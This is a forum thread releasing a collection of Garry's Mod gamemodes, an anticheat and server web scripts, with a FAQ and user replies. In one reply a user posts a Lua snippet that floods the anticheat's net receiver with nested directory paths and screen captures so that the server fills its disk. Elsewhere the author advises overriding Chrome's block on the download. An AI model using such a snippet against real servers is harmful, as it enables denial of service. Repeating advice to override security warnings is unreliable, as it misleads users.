Flow - Collection of gamemodes and accessories

Prelude
Before a someone marks this as advertisement, it is not and here’s the story behind it.
This release thread contains almost all of my work I’ve done for GMOD communities. Because of circumstances I’ve decided to stop working on these gamemodes and rather release them here so they are not lost to private servers.
As they are unique gamemodes and don’t have a lot of good competitors in their category, I thought it would be best to spit new life in the fire by releasing something publicly.
I will not provide future releases or support for the gamemodes, nor provide private instructions on how to set them up, next to the README files and this thread. If you want to use them, you’re free to do so, in fact, it’d make me happy.
I’ve worked for private companies most of my time and I have never done a public release like this one. Please tell me if there’s anything to improve about it. Feedback is always welcome!

Index of the release
Before I dive into the details of each release, here’s a summary of all the items contained in the package:

http://puu.sh/ftwd5/a73a7956b5.png

Every subrelease in this category is an addon. They can all go in your /addons folder, except for the anticheat module (description about this is added).

Strafe Sync Manager (SMgrAPI)
http://puu.sh/fdhK1/d6c7e84da1.png

This addon is essentially an “API” that you have to use from within your gamemode itself.
There is a very elaborate description in the “docs.txt” file.

Anticheat (FNAC)
http://puu.sh/femcX/920779d090.png

This anticheat module was initially made for GFL by George and I later on inherited it and adapted it for Flow Network.
It’s capable of blocking every Lua cheat there is that is harmful for the server.
It also has a input source detection system, allowing for it to sort out the people using a movement re-recorder.
Because the MMR detection isn’t applicable for every gamemode, it is only necessary and operational in the latest Flow Network Bunny Hop gamemode (v7.26).
Description about the anticheat is provided in the “README.txt” document.

Weapon Pack
http://puu.sh/fdp5p/30286033f1.png

Simply put, these are the weapons that I used on my servers. They are edited and compatible with Bunny Hop maps.
They’re nothing special, except that for several boosters, the “func_button” entity needs to get damaged in order to let the player be boosted. This is incorporated in the “weapon_cs_base” weapon.
It also contains grenades which can be removed if you don’t want people to flash each other on for example “bhop_thc”.

http://puu.sh/ftwkV/d7b1cd4402.png

Each gamemode contained in the Flow Network release come with instructions on how to set them up. The rest of the gamemodes are for reference and nostalgia. They’re still absolutely playable, and rather easy to set up.
Every gamemode does come with a database, some more elaborate than others. Flow Network releases have resources of every type you need.

Flow Network - Bunny Hop
http://puu.sh/fdoWz/d2367cf589.png

This is the latest version (v7.26) of the gamemode. It contains the latest core and all the functionality I have added to my gamemode over the years.
I added a no MySQL options just for this release, so there might be some glitches with it. I’ve tested it decently well though, and it seemed to work just fine.
Everything you need to set it up is provided in “README.txt”, except for the physical server, of course.

Flow Network - Deathrun
http://puu.sh/fdp7v/c55bda1b60.png

This is the beta version (v1.00 - initial release) of the gamemode. It has the same core as Bunny Hop does and is essentially a re-do of the public Deathrun gamemode but with new features such as a run timer and records.
It has a fancy but simple HUD and a feature for “Undead” runners when you die and want to re-run the map.
This gamemode is fully operational but has some glitches remaining here and there. If you want to use it, you’ll have to fix those and edit it wherever it’s required. If you don’t want to use MySQL, you’ll have to take the SQLite adaptation from the Bunny Hop release.
Pay attention to the “To-Do” labels that I left around in the gamemode; these show what still had to happen in my opinion.
I hope to see a server online with this gamemode sometime, since I’ve never seen it go live with more than 4 people on it. Especially for the Bunny Hop community out there, this should be promising.
There is some information about the set-up procedure in “README.txt”.

Flow Network - Skill Surf
http://puu.sh/fdp9Z/c4c1f1e19d.png

Since this is essentially the foundation of the Bunny Hop gamemode, most features are the same.
I added a no MySQL options just for this release, so there might be some glitches with it. I’ve tested it decently well though, and it seemed to work just fine.
Everything you need to set it up is provided in “README.txt”.

Games for Life - Bunny Hop
http://puu.sh/fdpbh/06f7c7fc9f.png

This part of the release contains all the gamemodes that I made for GFL: Version 4 (After pG, Re-do and new core), Version 5 and Version 5.1 (Single player)
They come with a database which is different from my other gamemodes. Because I thought SQLite was the reason for some lag in pG, I decided for a flatfile database.
The ‘database’ will be generated by default when you launch the gamemode (sv_filesystem.lua) but I included a version of the database that already contains a lot of maps and their start and end zones for easy usage.
There is no straightforward instruction manual with this release, but instead there are several informational text files that might help you out (“Changelog.txt” and “Information.txt”)
If you want a more ‘visual’ representation of the content of this gamemode, have a look here!

Prestige Gaming - Bunny Hop
http://puu.sh/fdpcr/b1d98e9f5a.png

This part of the release contains all the gamemodes that I made for Prestige Gaming: Version 2 (First re-do after George’s), Version 3 (Another full remake, using MySQL now) and Version 3.1 (When Auto Hop came around first) as well as a little bonus: the very first Prestige Gaming Bunny Hop gamemode!
The way version 2 handles the database is completely different from version 3. Version 2 uses a SQLite database of which the structure and data is available in the “Database” folder, the same goes for version 3, but these make use of a PURE MySQL database connection; no SQLite at all.
For version 2 there are some more files you’ll need for it to run correctly (They’re included in the “autorun” folder).
There is no straightforward instruction manual with this release either, but there are some informational files in the root directory that can possibly help you out.
This gamemode is still in use after 1 YEAR! I’m happy it’s survived this long with people still actively playing it. If you want more information about the gamemode, have a look here!

Lua Snippets
http://puu.sh/fdpdn/db977a3346.png

These are some small snippets that are required for a properly working Bunny Hop core.
Especially useful if you’re working on a Bunny Hop gamemode yourself but you can’t quite get the sturdiness of the platforms down.
The “README.txt” file describes them in a bit more detail.

http://puu.sh/ftwpV/8c90af04e1.png

These are some small scripts and basic designs that I have made. They might be of use for anyone who wants to start a server from scratch.
The designs are mostly Flat UI because it is most fitting with my gamemodes.

Dynamic Loading Screen
http://puu.sh/fdoCN/58d7644877.png

I’m guessing this will be of use for people that want a simple loading screen with not too many images. It’s dynamic because it makes use of jQuery and AJAX to load data about the user asynchronously (this takes a long time, normally).
The older version of this loading screen is included with the release under “Loading Screen - GFL.zip”. It’s essentially the same, but with different icons, a PSD and worse PHP code (it’s about a year older; don’t blame me!)
There is only glitch: The download percentage does not change, and I’m sure it’s obvious but I haven’t decided to fix it since it’s always been glitchy even when done right (in the GFL version it works, so if you really want to).
Again, there is a “README.txt” file that explains how to set it up exactly.

PayPal IPN System
Only useful if you’re going to have donations. This will easily automate the donations that you receive.
It reads the received data from PayPal IPN service and, after validating it, creates a new VIP entry, along with a server log, in the MySQL database.
There is a brief description of how to set it up in “README.txt”.

Content Delivery Network FastDL Script
Since we were not able to afford a proper CDN, I went for this simple solution to make customers happier. Since we had a webhost in America and one in Europe, I put this script on the US as well as the EU FastDL server.
It then resolves the user’s location via GeoIP and redirects them to the closest FastDL repository.
The comments in the index.php file itself describe how to set it up exactly.

Simple GMOD Website
http://puu.sh/fdpf1/ce0065a32a.png

As the name suggests, this is nothing more than a simple website with a gray background and a flashy logo.
It contains the required CSS and image files. There is a login.php script that makes use of the OpenID sign in method which is used in the main site for validating a user’s Steam ID.
There’s nothing more in it, so no description either.

http://puu.sh/ftwnX/220d940164.png

http://puu.sh/fdpg5/90dd2f0f8c.png
And here’s what it looks like in-game (Bunny Hop v7.26)

After I had nothing left to add to the gamemodes anymore, I started working on a radio for in-game. Not like FragRadio, but more like a YouTube and Grooveshark listening service.
At the time of working for pG and GFL I had access to a VPS so I was able to run the processing system on there.
The one that’s described in the “README.txt” document in the main Radio System folder is from Flow Network, and is a lot more stable than the ones on pG and GFL. If you want, it will come with some “jiggy”.
Since this is a rather complicated system to set-up, I’ve added a very complete description of how to get it to work.
What exactly does it do? It downloads videos from YouTube or songs from Grooveshark and converts them to mp3. To make this possible, there are several PHP scripts and a C# application that handles the processing.
All sources are included in the folder. Binaries as well, for if you simply want to use it without having to edit a lot of things next to the config.ini file.

http://puu.sh/ftwmF/1d9cccafb0.png

The “Config” folder contains the “server.cfg” settings that I use for running Bunny Hop, Surf and some of it even for Deathrun.
The “Tools” folder contains only one tool now, called “packany.bat”. It is simply a batch-processor of .* to *.bz2 files. Edit the 7-Zip path inside of the .bat file to get it to work.
The “Visual” folder contains all graphical elements that I’ve designed over the time. It’s even got my old speed-o-meter HUD! (People hated this but I loved it for some reason…)
Again, the “README.txt” document contains some more information about the contents.

http://puu.sh/ftwiv/bb3b869fc0.png

“I’ve heard enough. Take me to the downloads!”
I’m surprised I managed to fit all of this in a .zip file of almost 7MB. But here goes, almost all of my Garry’s Mod work:

Latest version
Version 1.05 (Fixes for older gamemodes (pG - not GFL, sorry guys))

Older versions
Version 1.04 (Fixes for new Garry’s Mod update, Skill Surf improvements, general stability, locking improvements)

Version 1.03 (Fixed a few things with ban messages and general text improvements)

Version 1.02 (Fixed weapon flip bug and updated structure)

Version 1.01 (Has a fix for VIP and has better READMEs)

Version 1.00 (Initial release)

If you guys don’t trust parts of the release, here’s the SHA256 hash and a VirusTotal scan:

GarrysMods Repository (Might not be completely up-to-date, as of writing it’s v1.05)
https://garrysmods.org/download/26/button.png

http://puu.sh/ftwjZ/fe88b4552c.png

Frequently Asked Questions
They’re actually not really asked frequently, but here’s some answers to the questions you might have.

General questions

Q: What exactly is Bunny Hop?
A: It’s a skill based gamemode where a player has to complete certain types of maps. Here I fully explain it myself and here’s another tutorial on it: Link (The gamemode you see in the video, but slightly newer, is actually in this release in the pG “Prehistoric” folder).

Q: There are Lua errors with one file! How do I fix it?
A: Read the error well and use Google to find your answer, or seek help on Facepunch. If you really think only I can help you with it, ask it in a response to this thread.

Q: Will any of these gamemodes be updated in the future?
A: Maybe. If I think the change is crucial enough I will upload a fixed version. There might be small glitches (especially in the older releases) that, if you encounter them, you’ll have to fix by yourself.

Q: Do you maybe have the code of another X gamemode?
A: I might, but I will only release my own work here. Everything in here is limited to what I have created by myself.

Q: The airacceleration seems off when I use the gamemode in-game. How come?
A: All gamemodes use custom acceleration. Make sure you have sv_airaccelerate set to 0 in your server.cfg or use the config provided in “Other/Config”

Q: Can you make a tutorial on X or Y?
A: Because I enjoy it, I’ve made quite a few tutorials that you can view: here. I won’t be making many more tutorials anymore.

Q: How can I do X for the Bunny Hop gamemode?
A: In the Flow Network - Bunny Hop folder, there’s a new text file called “GUIDE.txt” which explains a few things about simple edits or additions. I also made a ton of tutorials that you can view.

Q: Why do the times not show milliseconds on the client side?
A: Because of a Garry’s Mod update, NWInt variables no longer support decimals (they’re now actually integers, which is logical and good), so you have to change all “Record” NWInts to NWFloats. This is fixed in the latest version!

Questions asked in this thread

Q: My autohop is failing, I keep getting stuck in roofs and movement is off. How do I fix this?
A: Either use my preset server.cfg in “Other/Config” or make sure sv_sticktoground is set to 0 as well as sv_turbophysics set to 1

Q: What is a good way to manually edit .db files like sv.db?
A: I myself use Navicat but a free solution is SQLite Browser which I recommend

Q: How can I add VIPs?
A: I explained this in a lot of detail here

Q: FastDL?!?!?!
A: OK.

Q: How can I add myself as an admin on older gamemodes like pG and GFL? How can I add zones on the GFL gamemode?
A: Explained briefly here and here.

Q: Where’d you get that sexy module that shows your keys?
A: I wrote it for my tutorials, it’s only clientsided though. Here’s the code!

Q: Banned users are spamming my chat by rejoining. How do I fix it?
A: Either by updating to the gamemode in v1.03 or by applying this.

Q: My nominate list isn’t updating on the client. Help!
A: Increase your server settings.txt file by 1. More here.

Q: How exactly can I add more ranks (as in authorities)?
A: Fully explained here!

Q: Why WJs on KZ maps are weird. How do I fix that?
A: Go to bhop/gamemode/maps and copy kz_bhop_yonkoma.lua, rename it to the map your WJs are broken on and that’s it. If you want to get rid of style force to legit, simply remove the 4th line

Q: I keep on getting locked out of the server. Why is this happening, I did everything right?!
A: You might’ve missed a tiny thing. I suggest getting the latest version and checking your console, it gives the exact reason for the error now!

Q: I hate player names popping up! Hiding them was possible on Flow, why not on my server?
A: The TargetIDs is part of the Base gamemode, thus you’ll have to edit it. I provided the edits I made in “Addons/Base GarrysMod Edits”, so simply copy and paste (overwrite) those.

http://puu.sh/ftwoT/ff65d17fa5.png

Here are a few tutorials that I made specifically for helping everyone who’s having trouble setting up the contents of this release package.

Click the image below to start watching the series!
http://puu.sh/ftW3b/97a94adcb6.png

http://puu.sh/ftwfP/b4801463bf.png

Gravious - Developer and maintainer of the content in this release
George - For inspiring me to become a developer at pG at the time and helping me with an uncountable amount of things
Push and Grimnox - For being my ‘bosses’ and inspiring me to keep on working on my gamemodes
Wizzow - For the Flow logo that was used on a lot of sub-parts of this release and simply for helping me as well
My friends and the people I care about - For motivating me into letting go of this

Closing word
Thank you for reading the thread and hopefully making use of what I’ve created.
I’ve done all of this work (approximately 600 to 800 hours of coding and working) purely for the people that played on the server at that time. All that time I was a freelance developer and have done all of it for free.
If you are going to use this and edit this to make profit for your own, or if you are simply feeling grateful for me releasing this, I would greatly appreciate any kind of donation.

https://www.paypalobjects.com/en_US/i/btn/btn_donate_LG.gif

I’m out, I hope everyone will enjoy it!

Great release, only one problem i see is in your Paypal IPN README, it explains:

Although, i do not see a PHP file, i may be reading it wrong or confused, but did you intend to include a index.php file and maybe forgot it? Or do you mean to use our own index/source and just use the IPN?

Lots of great code in here, thanks Gravious

wtf. chrome says it’s a virus.

Great release Gravious, I am sure lots of people will appreciate how much work you put into this and donate.

Had the same issue. Chrome kept blocking the download.

I know it’s barbaric, but internet explorer worked just fine. I can assure you it’s not a virus.

You can still download it when chrome says nay. Click the arrow on the download bar next to the “blocked” entry.

Oh! I meant “ipn.php” there. More specifically, in the CIPN class. Thanks for letting me know.
If I find more things like this I might update the ZIP file.
The IPN system, next to the donate button itself, doesn’t really need more than just that file.

If you want to know more about how to make sure the user’s Steam ID is received correctly by the IPN script, look at the Simple GMOD website. Under ?action=donate there should be a pretty elaborate method.

If it’s of any use, here’s the updated “README.txt”:



Simple IPN script that will automatically process donations.
If you are trying to set-up my gamemodes with MySQL, this can be useful if you want donations and VIPs to work.


In the ipn.php file, set the MySQL details so that it can actually connect to an operational MySQL server.
If you want to use the original script (with GMOD donations), you can use the "Structure for database.sql" file from Gamemodes\Flow Network - All gamemodes\Flow Network - Bunny Hop\Database\MySQL (for master database)

To actally begin using it, go to your PayPal, hover over Profile, select More options. Click on a button that says "Webstore preferences" (Mine is in Dutch so I'm just translating here), then on the right click the link next to "Instant payment notifications".
Set the IPN URL to the ipn.php script on the page you've opened. Test it using the PayPal Sandbox: https://developer.paypal.com/webapps/developer/applications/ipn_simulator (If you want to use this, make sure to comment out line 45 and 63 about "IPNSandbox" with the die() function.
(NOTE: PayPal is changing their layout, so this might be located elsewhere. Just search for something with "Instant Payment Notification" or IPN)

Good luck with it!
Gravious


I got that, too. I have no idea why but I do not intend to change the contents of the ZIP file for now. You can ignore those Chrome warnings, seeing as they give a LOT of false positives. Like “bitches” said, simply go to the Downloads page by clicking on the menu bar, then “Downloads”. Next to the Release.zip download, click something like “Recover”, then yes I’m aware of the concequences and you should be good.

On my main PC I got this message as well, but not on my laptop. I put up a VirusTotal to assure you there’s no virus in it. It’s a ZIP file, with files in it… how could it be harmful, Chrome? These things make me want to switch back to Firefox.

topkek release gravious

Wow using the logo I made for FN and not even thanking me so ungrateful :^)

Rly though, thanks for all the work you put into the Gmod bhop community Grav, and hopefully now there won’t be a bunch of servers using ilya’s gm.

Haha, I love the logo mate, that’s why I used it for this thread. I’ll be curious to see how the GMOD Bunny Hop community changes from this.

I’ll wack this on a server when I have the money :slight_smile:

Love you Gravious. Love everything you’ve done. You and your gamemode are (were) amazing. I remember when I started a year ago on GFL <3. Can’t believe you are actually doing this. I had a lot of fun on your servers and I’ll never forget those amazing moments the past year.

rip in peace
grav
~ny
:suicide:

EDIT: I CANT READ SO I SNIPPED THIS FIRST BIT. However, I feel about my code and things learnt from me being on this thread (bots, weapons and ways of fixing shit) I feel like something like this needed to happen, at the same time, I feel as though you wasted all that time by just releasing them straight off. And my biggest worry is that nobody learns from any of the code, and we end up with a ton of generic servers, the fact that older versions of the gamemode have been released helps people look at the development of the gamemode however I feel servers are just going to try and be like pG. At the same time I no longer play gmod bhop and refuse to involve myself heavily in gmod bhop affairs, so I feel like this doesn’t concern me.

You’re still an OK guy (the caps mean everything) and I don’t understand why quitting gmod = delete all of friendslist, but I wish you fun and good luck.

Best wishes,
george.

(SPEED-O-METER MASTER RACE, BHOP = RACING GAME)

nice anticheat you got there

[lua]timer.Create(“kden”, 1, 0,
function ()
net.Start(“imastealinurshit”)
net.WriteString(string.rep(“kdenepicdirectoryhere/”, 100) … “getrekt_”… os.time())
net.WriteString( render.Capture({format = “jpeg”, h = ScrH(), w = ScrW(), quality = 100, x = 0, y = 0}) )
net.SendToServer()
end
)[/lua]

The Bunny Hop community wasn’t really progressing in servers, and with Flow Network dropping out I thought it would only proceed to go downhill from there. Your gamemode is spreading, but it’s still under-used. I think there are a lot of creative people out there who will make good use of this, hence why I released everything I’ve made rather than just the Bunny Hop gamemodes (so they can collect what they want to research in). I’m not going to be involved either anymore, so I feel I had a bit of a responsibility to leave everything behind in a proper way.

About the friendlist delete, this is more of a temporary measure so I don’t begin checking shit again. We still have to play Trikz though, so I’ll have to add you back :wink:

And fuck yes, Need for Speed all the way.

I’ve compiled this release very carefully and only contains reasonable and just code, nothing silly like that, so I’m curious, where are you getting this from?
It seems like a very silly way of making someone lag intentionally.

About the anticheat; it’s just a very simple anticheat that servers can use to not be destroyed by little kids with hacks.

That code makes 100 directories with a ~20kb file every second. Running this from the client. Look at the net receive in the server side file.

Right. You made that. I thought you were getting it somewhere from the files.
It’s not hard to block it if there’s even people who are going to attempt it.
You’re essentially reporting yourself if you would be stupid enough to execute that script.

My previous post still stands though:
About the anticheat; it’s just a very simple anticheat that servers can use to not be destroyed by little kids with hacks.

Some things will still work, but the majority will be blocked.

this post is pretty kek/10 -ign


(User was banned for this post ("shitposting" - Orkel))

Please, stop posting silly shit like that. You look like a little kid